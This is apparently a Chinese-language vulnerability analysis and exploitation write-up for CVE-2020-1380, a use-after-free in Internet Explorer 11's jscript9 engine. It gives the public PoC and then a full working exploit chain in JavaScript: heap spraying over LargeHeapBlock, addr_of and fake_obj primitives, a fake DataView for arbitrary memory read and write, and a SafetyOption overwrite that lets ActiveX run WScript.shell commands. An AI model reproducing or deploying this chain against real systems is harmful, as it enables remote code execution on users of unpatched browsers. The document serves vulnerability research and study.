ie
的版本是11.103.10586.0
,在https://msdn.itellyou.cn/上下的系统是`Windows 10 (Multiple Editions), Version 1511 (Updated Feb 2016) (x86) - DVD (English) ,对应的
windows版本为
Version 1511(OS Build 10586.104),该系统安装后的版本即为此次分析的
ie浏览器版本,漏洞分析是在
x86`系统上进行的。
version
在ie 9
之后的jscript9
引擎中,为了阻止OOB漏洞的利用,ie
把一些重点对象单独拿出来放到一个堆中来进行管理,而不是直使用进程堆。因此在jscript9
中,堆数据可以分为两部分:
一部分是进程堆(Process Heap
、CRT Heap
)。
一部分是自定义堆(Custom Heap
),普通的Array
对象、typed array
(view
)对象、string
对象都是分配在custom Heap
里的。
一个有意思的点是var fa = new Float32Array(8)
的代码,typed array
对象的数据结构会保存在custom heap
当中,然而它的fa.buffer(ArrayBuffer)
的数据却是从进程堆中申请出来的。下面是JavascriptArrayBuffer::Create
的反汇编代码,可以看到ArrayBuffer
的堆分配函数是CRT
函数malloc
。
struct Js::JavascriptArrayBuffer *__fastcall Js::JavascriptArrayBuffer::Create(
unsigned int a1,
struct Js::DynamicType *a2)
{
...
Js::ArrayBuffer::ArrayBuffer(v5, a1, a2, _malloc);
*(_DWORD *)v5 = &Js::JavascriptArrayBuffer::`vftable';
return v5;
}
还需要知道一点的是当在自定义堆中申请大的对象时,自定义堆的数据管理结构是LargeHeapBlock
,该对象构成了ie
自定义堆的基础,存储有自定义堆上分配的大型堆空间的管理信息。LargeHeapBlock
对象存储在进程堆中的。
LargeHeapBlock
的数据结构如下所示,偏移量0x4
处的指针指向IE
自定义堆中的数据,对于通过创建多个大的Array对象来触发LargeHeapBlock
对象分配的情况,该指针直接指向了此时分配的一个Array
对象。0x14
指向的是Allocated Block Count
,即当前已经分配的Block
,如果该字段被置为0
,则该对象所指向的自定义堆会在垃圾回收的过程中被释放。
LargeHeapBlock_struct
CVE-2020-1380
是IE11
上jscript9
引擎的一个UAF
漏洞,其成因是Array.prototype.push
的副作用导致JIT
引擎数据类型推导错误。
趋势科技给出的poc
代码如下:
var ab = new ArrayBuffer(0x8c);
var fa = new Float32Array(ab);
var obj = {};
obj.valueOf = function() {
worker = new Worker('worker.js');
worker.postMessage(ab, [ab]);
worker.terminate();
worker = null;
var start = Date.now();
while (Date.now() - start < 200) {}
return 0
};
function opt(a, b, c, d) {
a = 1;
arguments.push = Array.prototype.push;
arguments.length = 0;
arguments.push(d);
if (c) {
a = 2;
}
b[0] = a;
};
for (var i = 0; i < 0x100000; i++) {
opt(1, fa, 1, 1);
}
opt(1, fa, 0, obj);
先开启页堆hpa
,poc
跑一遍,看看出啥问题。
"C:\Program Files\Windows Kits\10\Debuggers\x86\gflags.exe" -i iexplore.exe +hpa
崩溃现场如下。ftsp
是将浮点寄存器st0
中的值存储到对应内存中的意思,崩溃现场即是将0.0
存储到地址11d81f70
中。
This exception may be expected and handled.
eax=11d81f70 ebx=1197d480 ecx=00000000 edx=00000116 esi=0de3bad0 edi=1ff61e00
eip=5d046083 esp=07cbc844 ebp=07cbc844 iopl=0 nv up ei pl zr na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010247
jscript9!Js::JavascriptConversion::ToFloat_Helper+0x13:
5d046083 d918 fstp dword ptr [eax] ds:0023:11d81f70=????????
0:008> r st0
st0= 0.00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e+0000 (0:0000:0000000000000000)
崩溃的成因是opt
函数经过优化编译过后,b[0]=a
所对应的代码会认为a
一直都是浮点数,不会有side effect
,因此直接调用ToFloat_Helper
将a
转化成浮点数并赋值给b[0]
。但是实际上在前面的代码中arguments.push
会改变对象arguments[0]
(即对象a
的类型),导致在b[0]=a
赋值的时候可以触发回调函数。但是此时代码中缺少了对a
的类型的检查,导致漏洞的形成。
在poc
中,触发漏洞时对象a
的回调函数是调用postMessage
将ArrayBuffer
传递给worker
,postMessage
将数据传递给worker
的同时,本线程就会失去对当前ArrayBuffer
的所属,该ArrayBuffer
就会被释放,但是后续在opt
函数中b[0]=a
,仍然将对象a
返回值的0.0
赋值给b[0]
,导致形成UAF
漏洞。此处也是因为我们开启了页堆,所以将0.0
当写入到已释放的内存ArrayBuffer 0x11d81f70
的时候就报错了。
漏洞分析部分本应还包含代码层面的分析的,但是苦于对js9
架构机制不太熟,所以只能从原理层面对漏洞成因进行分析,后续有能力再从代码层面进一步分析。
上面的漏洞我们得到了一个UAF
漏洞,即在回调函数中我们释放掉了ArrayBuffer
数据内存,同时后续在优化编译函数中仍然可以对该内存进行读写操作。
首先要搞清楚的是我们使用什么来占用被释放掉的ArrayBuffer
数据内存。在前面的基础知识中已经阐述过,ArrayBuffer
数据内存是由进程堆分配的,LargeHeapBlock
数据结构也是由进程堆分配的,因此如果我们利用漏洞释放掉ArrayBuffer
数据内存后,再利用LargeHeapBlock
占用该内存,后续再对ArrayBuffer
数据进行读写的时候,实质上就是对LargeHeapBlock
数据结构进行读写。
这里要搞清楚的是LargeHeapBlock
数据结构大小是多少,很多文章都说该数据结构大小是根据申请的内存大小动态变化的,当申请new Array((0x1000 - 0x20) / 4)
即0x1000
大小的Array
的时候,LargeHeapBlock
对应为new ArrayBuffer(0x8c)
所对应的内存,具体可以动态调试下断点来进一步确认,断点如所示:
bp jscript9!LargeHeapBucket::AddLargeHeapBlock+0x92
所对应的代码如下所示,LargeHeapBlock::New
的返回值即是LargeHeapBlock
堆块。
struct LargeHeapBlock *__thiscall LargeHeapBucket::AddLargeHeapBlock(LargeHeapBucket *this, unsigned int a2)
{
...
lpAddress = PageAllocator::Alloc((PageAllocator *)(v4 + 8), &v13, &v12);
if ( lpAddress )
{
v6 = LargeHeapBlock::New(
(char *)v12,
(((v13 << 12) - a2 - 16) >> 10) + 1,
*((_BYTE *)this + 28) != 0 ? this : 0,
v9,
v10);
此时问题就变成了对LargeHeapBlock
数据结构进行读写,对何处进行读写能够继续进一步的利用。答案是覆盖LargeHeapBlock
中0x14
偏移的Allocated Block Count
字段,将它覆盖为0
,这样后续如果触发垃圾回收机制,该LargeHeapBlock
结构所管理的堆内存会被认为是被释放的,后面就会被继续申请与利用,从而就可以形成重叠堆快。
上述思路所形成的代码如下所示。opt
函数中b[5] = a
时会触发obj
的valueOf
函数,该函数首先会释放ab
,sleep
一段时间等待堆内存被释放,然后堆喷LargeHeapBlock
结构去申请大内存重新占有该ab
内存,因为valueOf
函数会返回0
,最终会执行b[5] = 0
,此时ab
已经被覆盖为LargeHeapBlock
结构,因此会将LargeHeapBlock
结构的Allocated Block Count
修改为0
。
var ARRAY_LENGTH = 0x500
var b = new Array(ARRAY_LENGTH);
var c = new Array(ARRAY_LENGTH);
var obj = {};
obj.valueOf = function() {
// free the Float32Array ArrayBuffer
worker = new Worker('worker.js');
worker.postMessage(ab, [ab]);
worker.terminate();
worker = null;
// sleep to wait system free the ArrayBuffer
var start = Date.now();
while (Date.now() - start < 300) {}
// spray LargeHeapBlock structure to occupy the freed ArrayBuffer
for (var i = 0; i < ARRAY_LENGTH; ++i) {
b[i] = new Array((0x1000 - 0x20) / 4);
for (var j = 0; j < b[i].length; ++j)
b[i][j] = 0x666;
}
return 0;
};
function opt(a, b, c, d) {
a = 1;
arguments.push = Array.prototype.push;
arguments.length = 0;
arguments.push(d);
if (c) {
a = 2;
}
// now the Float32Array ArrayBuffer is the same as LargeHeapBlock structure, overwrite b[5] will change the LargeHeapBlock's Allocated Block Count to 0
b[5] = a;
};
后续调用CollectGarbage
手动触发垃圾回收,此时会认为被修改的LargeHeapBlock
结构所对应数组b
中的某个数组内存是被释放了的。此时再申请大内存,系统会再次分配该内存,此时数组b
和数组c
就有某个数组就会形成重叠堆块,遍历两个数组,找到重叠的对象内存。
// gc to manual free the LargeHeapBlock memory.
CollectGarbage();
var index1 = -1;
var index2 = -1;
// spray malloc LargeHeapBlock heap again, it will occupy the same memory with b array
for (var i = 0; i < ARRAY_LENGTH; ++i) {
c[i] = new Array((0x1000 - 0x20) / 4);
for (var j = 0; j < c[i].length; ++j)
c[i][j] = 0x888;
}
// find the overlap heap in array b
for (var i = 0; i < b.length; i += 1) {
if (b[i][0] == 0x888) {
index1 = i;
b[i][0] = 0x666;
break;
}
}
// find the overlap heap in array c
for (var i = 0; i < c.length; i += 1) {
if (c[i][0] == 0x666) {
index2 = i;
break;
}
}
找到重叠的对象后,将其中某个数组修改为对象数组,这样就形成整数数组与对象数组指向同一片内存,很简单的就得到了addr_of
以及fake_obj
原语:
// transition the array type
c[index2][0] = {};
// now we can get addr_of and fake_obj primitive
var int_arr = b[index1];
var obj_arr = c[index2];
function addr_of(obj) {
obj_arr[0] = obj;
return int_arr[0];
}
function fake_obj(addr) {
int_arr[0] = addr;
return obj_arr[0];
}
有了addr_of
以及fake_obj
原语,接着就是构造aar
以及aaw
原语,原语的构造方法是伪造DataView
结构体,通过修改DataView
的内存指针来实现任意地址读写,详细过程可以参考Edge Type Confusion利用:从type confused到内存读写。
DataView
对应的32
位结构体如下所示,其中偏移为0x1c
的是我们要填写任意地址读写的字段。
DataView:
+0x0 : vtable;
+0x4 : TypeObject;
+0x8 : 0;
+0xc : 0;
+0x10 : JavascriptArrayBuffer;
+0x14 : 0;
+0x18 : size;
+0x1c : Buffer;
还需要关注的三个字段是vtable
、TypeObject
以及JavascriptArrayBuffer
字段。
当我们利用伪造的fake_dv
进行任意地址读写的时候,它会调用vtable
中的虚函数,由于我们不知道虚函数表的地址,因此需要方法来绕过。方法是不直接用fake_dv.getUint32
这样的形式来进行调用,而是用DataView.prototype.getUint32.call(fake_dv, 0, true)
的形式来调用,这样就不需要从fake_dv
对象的vtable
字段来获取函数地址。
第二个要关注的字段是TypeObject
指针,它里面的typeId
要合理有效,JavascriptLibrary
地址要为有效的内存地址。
TypeObject:
+0x0 : typeId;
+0x4 : JavascriptLibrary;
+0x8 : prototype;
+0xc : Js::RecyclableObject::DefaultEntryPoint;
+0x10 : 0;
+0x14 : 0;
+0x18 : SimplePathTypeHandler;
+0x1c : value;
第三个要关注的字段是JavascriptArrayBuffer
,它所指向的内存地址某位是用来标记是否是isDetached
。如果被置位,说明内存已被释放不能再使用,所以要将该字段置0
。
最终构造fake_dv
代码如下。
// fake DataView struct container
var container = new Array(
0, // field 0: fake vtable
0, // field 1: TypeObject pointer
0, // field 2: Inherited data from Dynamic Object
0, // field 3: Inherited data from Dynamic Object
0, // field 4: buffer size
0, // field 5: ArrayBuffer Object pointer
0, // field 6: byteoffset
0 // field 7: target addr
)
var container_addr = addr_of(container);
var fake_dv_addr = container_addr + 0x38;
container[0] = 46 // fake vtable, also used as TypeId in TypeObject Pointer
container[1] = fake_dv_addr; // fake TypeObject Pointer point to fake_dv_addr, also as fake TypeObject JavascriptLibrary pointer
container[2] = 0; // the isDetached bit should be 0
container[4] = fake_dv_addr + 8; // fake ArrayBuffer Object pointer, the isDetached bit should be 0
container[6] = 0x300; // fake size
container[7] = fake_dv_addr; // arbitrary pointer
// build fake DataView, now we can aar and aaw with this fake_dv
var fake_dv = fake_obj(fake_dv_addr);
有了fake_dv
以后,aar
以及aaw
就很简单了,修改DataView
的Buffer
字段即可。
// aar primitive
function read32(addr) {
container[7] = addr;
var val = DataView.prototype.getUint32.call(fake_dv, 0, true);
return val;
}
function read8(addr) {
container[7] = addr;
var val = DataView.prototype.getUint8.call(fake_dv, 0, true);
return val;
}
function read16(addr) {
container[7] = addr;
var val = DataView.prototype.getUint16.call(fake_dv, 0, true);
return val;
}
// aaw primitive
function write8(addr, val) {
container[7] = addr;
DataView.prototype.setUint8.call(fake_dv, 0, val, true);
}
function write32(addr, val) {
container[7] = addr;
DataView.prototype.setUint32.call(fake_dv, 0, val, true);
}
function write_string(addr, s) {
var bytes = [];
var i = 0;
for ( ; i < s.length; ++ i ) {
bytes[i] = s.charCodeAt(i);
}
bytes[i] = 0;
write_bytes( addr, bytes );
}
function write_bytes(addr, bytes) {
for ( var i = 0; i + 3 < bytes.length; i += 4 ) {
var value = (bytes[i] & 0xff) | ((bytes[i+1] & 0xff) << 8) |
((bytes[i + 2] & 0xff) << 16) | ((bytes[i + 3] & 0xff) << 24);
write32( addr + i, value );
}
for ( ; i < bytes.length; ++ i ) {
write8( addr + i, bytes[i] );
}
}
有了任意地址读写原语,最后就是任意代码执行,根据[原创]IE JScript9.dll UAF漏洞(CVE-2020-1380)利用复现笔记,目前ie
从aar
以及aaw
到任意代码执行主要有三种方式:
GodMode
:利用任意地址读写原语修改内存中的GodMode
字段,即可使用ActiveX
调用任意代码与程序。
虚表劫持:劫持Js::JavascriptOperators::HasItem
函数内的一处虚表调用为WinExec
来调用任意代码。
覆盖栈上返回地址:覆盖Js::JavascriptString::EntrySplit
和Js::JavascriptString::EntrySlice
函数的返回地址以劫持程序执行流。
我这里只用了第一种方式,因此解释下第一种方式的利用原理,其余两种后续漏洞分析有机会再分析。
在ie
中,决定不安全的ActiveX控件能否在没有提示的情况下运行仅仅依赖于单个标志,即ScriptEngine
对象中的SafetyOption
标志,如果通过任意地址读写将此标志置为0
,那么就能开启实例化和运行不安全ActiveX
控件的能力。详细原理可以查看Exploit IE Using Scriptable ActiveX Controls.pdf
在Internet Explorer 11中微软通过引入一个0x20字节的hash来保护SafetyOption标志不被覆盖,以此缓解该技术的利用。但是通过查看Windows 10
当前jscript9.dll
版本中的ScriptEngine::CanCreateObject
以及ScriptEngine::CanObjectRun
函数发现负责保护hash
的ScriptEngine::GetSafetyOptions
函数已经不见了,因此SafetyOption
标志将不再受到保护,写入单个空字节就能实现利用的技术又可行了。
CanObjectRun
最终执行calc
的代码如下所示:
// leak address
// get dataview vtable
var dv_vtable_addr = read32(addr_of(dv))
// get jscript9 module base
var jscript9_base_addr = get_module_base(dv_vtable_addr);
alert("[+] jscript9 base addr: "+hex(jscript9_base_addr));
// get kernel32 module base
var kernel32_base_addr = get_module_base_from_IAT(jscript9_base_addr, "KERNEL32");
alert("[+] kernel32 base addr: "+hex(kernel32_base_addr));
// get winexec addr
// var winexec_addr = get_proc_address( kernel32_base_addr, 'WinExec' );
// alert("[+] winexec func addr: "+hex(winexec_addr));
function run_shellcode() {
var shell = new ActiveXObject("WScript.shell");
shell.Exec("calc.exe");
// shell.Exec("notepad.exe");
}
// change the safe_mode flag
var leak_activex_addr = addr_of(ActiveXObject);
var script_engine = read32(read32(leak_activex_addr + 0x1c) + 0x04);
var safe_mode = script_engine + 0x1F4;
// turn on god mode
write32(safe_mode, 0);
run_shellcode();
弹出计算器。
calc
当然,权限是AppContainer
,后面还要过沙箱。
privilege
这个漏洞是2020
年抓到的一个在野利用的0 day
,通过分析它进一步掌握了ie
漏洞的利用方法,同时这个漏洞目前在野外利用还是不少。
64
位系统中的利用大同小异,结构体指针字段加长罢了。
[1]
趋势科技: https://www.trendmicro.com/en\_us/research/20/h/cve-2020-1380-analysis-of-recently-fixed-ie-zero-day.html
[2]
Edge Type Confusion利用:从type confused到内存读写: https://www.anquanke.com/post/id/98774
[3]
[原创]IE JScript9.dll UAF漏洞(CVE-2020-1380)利用复现笔记: https://bbs.pediy.com/thread-263885.htm
[4]
Exploit IE Using Scriptable ActiveX Controls.pdf: https://github.com/jvazquez-r7/explib2/blob/modify/Exploit%20IE%20Using%20Scriptable%20ActiveX%20Controls.pdf
[5]
CVE-2020-1380: Analysis of Recently Fixed IE Zero-Day: https://www.trendmicro.com/en\_us/research/20/h/cve-2020-1380-analysis-of-recently-fixed-ie-zero-day.html
[6]
Internet Explorer and Windows zero-day exploits used in Operation PowerFall: https://securelist.com/ie-and-windows-zero-day-operation-powerfall/97976/
[7]
CVE-2020-1380: Internet Explorer JScript9 Use-after-Free: https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-1380.html
[8]
[原创]IE JScript9.dll UAF漏洞(CVE-2020-1380)利用复现笔记: https://bbs.pediy.com/thread-263885.htm
[9]
IE浏览器0day漏洞CVE-2020-1380的分析、利用和检测: https://www.freebuf.com/vuls/283182.html
[10]
Edge Type Confusion利用:从type confused到内存读写: https://www.anquanke.com/post/id/98774
[11]
Exploit IE Using Scriptable ActiveX Controls.pdf: https://github.com/jvazquez-r7/explib2/blob/modify/Exploit%20IE%20Using%20Scriptable%20ActiveX%20Controls.pdf